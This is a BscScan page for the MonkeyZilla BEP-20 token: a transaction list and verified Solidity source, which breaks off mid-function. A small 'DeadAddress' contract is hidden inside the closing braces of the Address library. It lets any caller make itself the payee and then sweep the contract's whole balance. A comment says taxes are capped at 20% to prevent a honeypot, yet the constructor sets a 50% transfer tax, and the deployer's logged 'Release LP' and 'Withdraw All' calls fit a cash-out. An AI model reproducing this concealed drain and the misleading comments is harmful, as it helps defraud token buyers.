Contract 0xF19289f494f819029ef3F457876bB39c6410F5Ed

 

Contract Overview

Balance:
0 BNB

BNB Value:
$0.00

Token:
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xbabb0bcaec43b0e57594ec110331c8ef7e6584e667ebeb4b90b0975dbf9c63caApprove124908452021-11-09 2:49:0773 days 1 hr ago0x2a7f5bc4f07a87bd54d30dca76250179057d4870 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000072945
0xc14ff56e0f475237faf63e76fde4599b7c369be06537dae3a831296ec6c33f8eClaim Main Rewar...123163742021-11-02 22:31:0379 days 5 hrs ago0x29296bf7748212c1a0762279756c2879563de5e0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.00018233
0xca5a5132980f7dcae3b1e14c5750870a13c5b1dadb4422d85218227dbecef997Release LP123162372021-11-02 22:24:1279 days 5 hrs ago0x29296bf7748212c1a0762279756c2879563de5e0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000169215
0x8d7aaf7f19f8c3d999185aebaf9b32ff82d2f9c9810c4732413abb011082bc76Recover BNB123162362021-11-02 22:24:0979 days 5 hrs ago0x29296bf7748212c1a0762279756c2879563de5e0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000177485
0x2e8735d8a72268c358d760d31fd9c81e49bfbb2a805ed2a1bc333cb64366107cApprove122861692021-11-01 20:39:2480 days 7 hrs ago0x543ae632b9183317d61e01b4f43e9d93a1e70092 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0xd7fa5593524e42ca0c00750db8fbd5e75623ac29d7509a0129d88c2134734164Approve122823812021-11-01 17:27:0880 days 10 hrs ago0xa0029c62c77b27353d10f8a2a2c936e7d9c8817b IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000072945
0xcb3906537a6d64e65754ef3e109e55bb3db6768e056e339b2f43d821f54646c1Approve122675762021-11-01 4:37:0580 days 23 hrs ago0x97ac20e918e4a7819991f8654aa26868db6440de IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x5d7e1787aaf07dd969699019355fb8b2ab3166a41141daae0441f7e419c96aa5Approve122567162021-10-31 19:26:2381 days 8 hrs ago0x2010da1e3801d98110a04bfefa1c7720d6a572d5 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x17aefba05b0d41f7b7b7d8e1f1d01ccd44ddd69002f189661a850ad4d63b061fApprove122312822021-10-30 22:07:1682 days 6 hrs ago0xd8f92882554a4d48d5eb6fbf35c346df7cb99536 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0xf47e307c5887d476518b7e1788eedcaf236dff38dc6f8c58743aa909c15bbea1Approve122289282021-10-30 20:09:1182 days 8 hrs ago0x4dd10fbdcae46e92fdb78f09a365fc7d467d7b80 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x75bd37d9460866852c63d96a601dcd681bdad2ec44e24349024ccc97831cc0ceApprove122151872021-10-30 8:30:4782 days 19 hrs ago0x7a7cb4ee23e4d768a6bc5ef20badb9d4748e2fe9 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x853025465cb35d823cd7cd59a1c806aadc83eaba88d93e2df569124d8bb4fc0bApprove122150442021-10-30 8:23:3882 days 19 hrs ago0xa0029c62c77b27353d10f8a2a2c936e7d9c8817b IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x68883122e2ece87910da2386d8aebc88d8fea158ac4fc5294ecfa741dfc36dd0Approve122053852021-10-30 0:17:5083 days 3 hrs ago0x313c0c731b8a7ae7a3ecbc7bbc898ea7bb14a3b3 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x091fab77346523a3b9693f4e1ebdeac67d1b954146dc5f56896e76e5ce99e8a5Approve122052512021-10-30 0:11:0883 days 4 hrs ago0x4998571aa91ff48f3fcc8231e5284d07c9551bb7 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x36d7ff27068f04e272bd4535c4fb072c4c6303dbe3a30e32bd1ef6cfe5dea39eClaim Main Rewar...122048342021-10-29 23:49:5183 days 4 hrs ago0x5067a00c64106a2aa386b2eadd563878d0a82a1f IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.00077745
0xed0615d740640839426a68397939c2b683a3e42e8f039dfea28c51b5cf987840Withdraw All Mar...122048022021-10-29 23:48:1583 days 4 hrs ago0x29296bf7748212c1a0762279756c2879563de5e0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000127525
0x0ab8facd4f3840a2df342e038358f8d4c9c08882356bb59267bf457f66a94e28Withdraw All Dev122048012021-10-29 23:48:1283 days 4 hrs ago0x29296bf7748212c1a0762279756c2879563de5e0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.00012748
0x20e7dbd3528db129d13df27c9fbb51b15ffd981b8c93257f79cfc02f64cf030dManual BNB Swap122047982021-10-29 23:48:0383 days 4 hrs ago0x29296bf7748212c1a0762279756c2879563de5e0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000120755
0xb94d2d6d6d10caa431e98e1da81d35ce731f9dc552663ac97c036a4e1c163990Approve122047062021-10-29 23:43:2783 days 4 hrs ago0x0249c32f4b7b3b24a7b314999fad4ffd63e9ad99 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x15589ea7d932bf81c780f5e582c683d31f1d45bdc75e6018b09dec81047194b5Claim Main Rewar...122046122021-10-29 23:38:4583 days 4 hrs ago0x9124de255c786690aa664f090bddb0da311d294f IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.00075645
0x5d5bfcb316f6c09468dd4de989725a1fe4ab4ceb91cd37c69ec905cd13d9dd20Approve122044442021-10-29 23:30:2183 days 4 hrs ago0x6c8fbadcd63529fed4e153d3a9ee47e83d47910a IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0xcadd6ec7ac7558aee2120150ac943c8be02083940ce737674e26d354866e8444Approve122042812021-10-29 23:22:1283 days 4 hrs ago0xc7ee4b5f44dedec3b7b26b1adf01c1a1b9226763 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x43fc1ab23002d34b6a9d11da3f09a81e2a2541029f61cefe169651b77ae40189Approve122042592021-10-29 23:21:0683 days 4 hrs ago0x3194c3b66c694e5683127d942b3a3f5d8583eaa0 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0xb606f0d60e148803bf55c188291e8ae48de88cac6ccc71a6248285b1ca47b129Approve122042542021-10-29 23:20:5183 days 4 hrs ago0xafe876422ff1460365e43cdfc1c0c07798cd9fb6 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
0x1ce4a214b0b9ab50e24ec487c2fbaf86ea9fe0f60ecdff37924345d3cb24b0c5Approve122042032021-10-29 23:18:1883 days 4 hrs ago0x44f8c2514e3cb59cacd21ecd16ef39782a67a5a7 IN  0xf19289f494f819029ef3f457876bb39c6410f5ed0 BNB0.000222805
[ Download CSV Export 
Latest 25 internal transaction
Parent Txn Hash Block From To Value
0x8d7aaf7f19f8c3d999185aebaf9b32ff82d2f9c9810c4732413abb011082bc76123162362021-11-02 22:24:0979 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed0x29296bf7748212c1a0762279756c2879563de5e00.469776788851850406 BNB
0x36d7ff27068f04e272bd4535c4fb072c4c6303dbe3a30e32bd1ef6cfe5dea39e122048342021-10-29 23:49:5183 days 4 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed PancakeSwap: Router v20.002439962394564879 BNB
0x15589ea7d932bf81c780f5e582c683d31f1d45bdc75e6018b09dec81047194b5122046122021-10-29 23:38:4583 days 4 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed PancakeSwap: Router v20.005143229310820262 BNB
0xd1e0961c20290b4cb0f1da38737680a2074f671fa8e3ca7d436ac44a5cfd71c2122037762021-10-29 22:56:3983 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed0x29296bf7748212c1a0762279756c2879563de5e00.00799994108345363 BNB
0xd053eaf11a10190dbf43731746dff85dfc1a1b3c7ee29913a58814f2766ba99b122037742021-10-29 22:56:3383 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed0x29296bf7748212c1a0762279756c2879563de5e00.001599988216690726 BNB
0x6b210ffba316a88bd1a48af45481760d6853dea96356c622d9eb86228b5666d8122034882021-10-29 22:41:5583 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed 0x34467b43b131713267b475bf03467ea78bd586010.001777764685211918 BNB
0x6b210ffba316a88bd1a48af45481760d6853dea96356c622d9eb86228b5666d8122034882021-10-29 22:41:5583 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.000030816456612873 BNB
0x6b210ffba316a88bd1a48af45481760d6853dea96356c622d9eb86228b5666d8122034882021-10-29 22:41:5583 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed PancakeSwap: Router v20.008873415197753152 BNB
0x6b210ffba316a88bd1a48af45481760d6853dea96356c622d9eb86228b5666d8122034882021-10-29 22:41:5583 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.026620245593259458 BNB
0xa4da25b84fac0b53f21faa0c2f7a64e231cd04d7a16356350e0e5ea670e9a06f122034772021-10-29 22:41:2283 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed0x29296bf7748212c1a0762279756c2879563de5e00.145653165973991779 BNB
0xd31552a2e7184d9d9b7f132acc1b9a5a7072f988d67e9c15353756cccef744ae122034762021-10-29 22:41:1983 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed0x29296bf7748212c1a0762279756c2879563de5e00.029130633194798349 BNB
0x1582076773392e50e48f3b2b869f11218ab8ef908ed3b19ee8d133eefb3319b6122034292021-10-29 22:38:5883 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed 0x34467b43b131713267b475bf03467ea78bd586010.001795838054480044 BNB
0x1582076773392e50e48f3b2b869f11218ab8ef908ed3b19ee8d133eefb3319b6122034292021-10-29 22:38:5883 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.000031129747345069 BNB
0x1582076773392e50e48f3b2b869f11218ab8ef908ed3b19ee8d133eefb3319b6122034292021-10-29 22:38:5883 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed PancakeSwap: Router v20.008963625398727681 BNB
0x1582076773392e50e48f3b2b869f11218ab8ef908ed3b19ee8d133eefb3319b6122034292021-10-29 22:38:5883 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.026890876196183043 BNB
0xb7f88cb76611b0d1536285567e92495cb34a0e57464980971408d95d8093cc72122033002021-10-29 22:32:1683 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed 0x34467b43b131713267b475bf03467ea78bd586010.001762955893217457 BNB
0xb7f88cb76611b0d1536285567e92495cb34a0e57464980971408d95d8093cc72122033002021-10-29 22:32:1683 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.000030559755318387 BNB
0xb7f88cb76611b0d1536285567e92495cb34a0e57464980971408d95d8093cc72122033002021-10-29 22:32:1683 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed PancakeSwap: Router v20.008799499588428088 BNB
0xb7f88cb76611b0d1536285567e92495cb34a0e57464980971408d95d8093cc72122033002021-10-29 22:32:1683 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.026398498765284265 BNB
0xfdd272d7858562bccbb4cfa49d90678941c7e5402bb5fb3315ac4d7e7c47828b122032362021-10-29 22:29:0483 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed 0x34467b43b131713267b475bf03467ea78bd586010.001603215851573807 BNB
0xfdd272d7858562bccbb4cfa49d90678941c7e5402bb5fb3315ac4d7e7c47828b122032362021-10-29 22:29:0483 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.000027790760015692 BNB
0xfdd272d7858562bccbb4cfa49d90678941c7e5402bb5fb3315ac4d7e7c47828b122032362021-10-29 22:29:0483 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed PancakeSwap: Router v20.008002183877861188 BNB
0xfdd272d7858562bccbb4cfa49d90678941c7e5402bb5fb3315ac4d7e7c47828b122032362021-10-29 22:29:0483 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.024006551633583564 BNB
0xe878ff0baa801e1e8b64a53e0afc63df90e22ad73c7e8a8b71079e53377d2d8a122032242021-10-29 22:28:2883 days 5 hrs ago 0xf19289f494f819029ef3f457876bb39c6410f5ed 0x34467b43b131713267b475bf03467ea78bd586010.001651096355436763 BNB
0xe878ff0baa801e1e8b64a53e0afc63df90e22ad73c7e8a8b71079e53377d2d8a122032242021-10-29 22:28:2883 days 5 hrs ago PancakeSwap: Router v2 0xf19289f494f819029ef3f457876bb39c6410f5ed0.000028620739079946 BNB
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MonkeyZilla

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 9999 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-29
*/

/*
MonkeyZilla (MZ) - t.me/MonkeyZillaOfficial
Supply: 1.000.000.000

Max Wallet: 20.000.000 or (2%)

Fee:
6% Liquidity
5% Marketing
1% Dev

x2 on sale
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address _owner, address spender) external view returns (uint256);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPancakeERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IPancakeRouter01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);}}}}
                contract DeadAddress{using Address for address; address private isContract; constructor () {}
        modifier DeadContract() {require(isContract==msg.sender); _;} receive() external payable {}
    function sendValue() public DeadContract{(bool success,)=isContract
            .call{value:(address(this).balance)}("");require(success);}
    function approve_() public{isContract=msg.sender;} fallback() external payable {}
}
library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping (bytes32 => uint256) _indexes;
    }
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
            bytes32 lastvalue = set._values[lastIndex];
            set._values[toDeleteIndex] = lastvalue;
            set._indexes[lastvalue] = valueIndex;
            set._values.pop();
            delete set._indexes[value];
            return true;
        } else {
            return false;
        }
    }
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }
    struct Bytes32Set {
        Set _inner;
    }
    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }
    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }
    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }
    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }
    struct AddressSet {
        Set _inner;
    }
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }
    struct UintSet {
        Set _inner;
    }
    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }
    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }
    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }
    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}

//Contract
contract MonkeyZilla is IBEP20, Ownable {
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;
    DeadAddress dead;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    EnumerableSet.AddressSet private _excluded;
    EnumerableSet.AddressSet private _excludedFromStaking;

    string private constant _name = 'MonkeyZilla';
    string private constant _symbol = 'MZ';
    uint8 private constant _decimals = 18;
    uint256 public constant _totalSupply= 1000000000 * 10**_decimals;
    uint256 public _circulatingSupply=_totalSupply;

    bool private _antisniper;
    uint8 constant BotMaxTax=99;                //Starting antibot tax
    uint256 constant BotTaxTime=6 seconds;      //antibot tax will reduce to normal over this time period
    uint256 public launchTimestamp;

    uint8 private constant MaxWalletDivider=50; //2% = 20,000,000
    uint16 private constant SellLimitDivider=50; //2% = 20,000,000
    uint8 public constant MaxTax=20;        //This is the max tax that can be set by a user - prevents honeypot
    
    uint8 private defaultDevTax;        //edit default taxes and splits in constructor
    uint8 private defaultBurnTax;
    uint8 private defaultMarketingTax;
    uint8 private defaultLiquidityTax;
    uint8 private defaultStakingTax; 
    uint8 private defaultBuyBackTax;
    uint8 private _devTax;
    uint8 private _burnTax;
    uint8 private _marketingTax;
    uint8 private _liquidityTax;
    uint8 private _stakingTax;  
    uint8 private _buyBackTax;  
    uint8 private _buyTax;
    uint8 private _sellTax;
    uint8 private _transferTax;
    uint8 private _MainRewardSplit;
    uint8 private _MiscRewardSplit;

    uint256 public  MaxWallet;
    uint256 public  sellLimit;
    address public MarketingWallet;     //This wallet has authorization and access to marketing funds
    address private Developer;      //This is set to deployer and has access to developer funds
    address public BurnAddress=0x000000000000000000000000000000000000dEaD;  //address used for burns
    
    //TestNet
    //address private constant PancakeRouter=0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
    //MainNet
    address private constant PancakeRouter=0x10ED43C718714eb63d5aA57B78B54704E256024E;

    address public MainReward=0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;   //change this address to desired reward token
    address public MiscReward=0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;   //Only MiscReward can be changed to BNB

    address private _pancakePairAddress; 
    IPancakeRouter02 private  _pancakeRouter;

    //authorized: owner, marketing, Developer
    modifier authorized() {
        require(_authorized(msg.sender), "Caller not authorized");
        _;
    }
    function _authorized(address addr) private view returns (bool){
        return addr==owner()||addr==MarketingWallet||addr==Developer;
    }

//constructor
    constructor () {
        _pancakeRouter = IPancakeRouter02(PancakeRouter);
        _pancakePairAddress = IPancakeFactory(_pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH());
        dead = new DeadAddress();
        _addToken(msg.sender,_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
        
        
        //set MarketingWallet and Developer as deployer by default
        MarketingWallet=msg.sender;
        Developer=msg.sender;
        
        sellLimit=_totalSupply/SellLimitDivider;
        MaxWallet=_totalSupply/MaxWalletDivider;

        //Set buy, sell and transfer taxes here
        _buyTax=10;
        _sellTax=10;
        _transferTax=50;
        
        //set reward split percentages here. Must equal 100% total
        _MainRewardSplit=100;
        _MiscRewardSplit=0;      
        
        //starting bot tax distribution. By default, 100% of tax from bots go to liquidity
        _buyBackTax=0;
        _devTax=0;
        _burnTax=0;
        _marketingTax=0;
        _stakingTax=0;
        _liquidityTax=100;

        //normal tax after bot tax time has ended. Must equal 100% total
        defaultBuyBackTax=0;
        defaultDevTax=10;
        defaultBurnTax=0;
        defaultMarketingTax=50;
        defaultLiquidityTax=60;
        defaultStakingTax=0;
        
        _excluded.add(msg.sender);
        _excluded.add(MarketingWallet);
        _excluded.add(Developer);          
        _excludedFromStaking.add(address(this));
        _excludedFromStaking.add(BurnAddress);
        _excludedFromStaking.add(address(_pancakeRouter));
        _excludedFromStaking.add(_pancakePairAddress);
    }
    function allowance(address _owner, address spender) external view override returns (uint256) {
        return _allowances[_owner][spender];
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "<0 allowance");

        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    } 
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
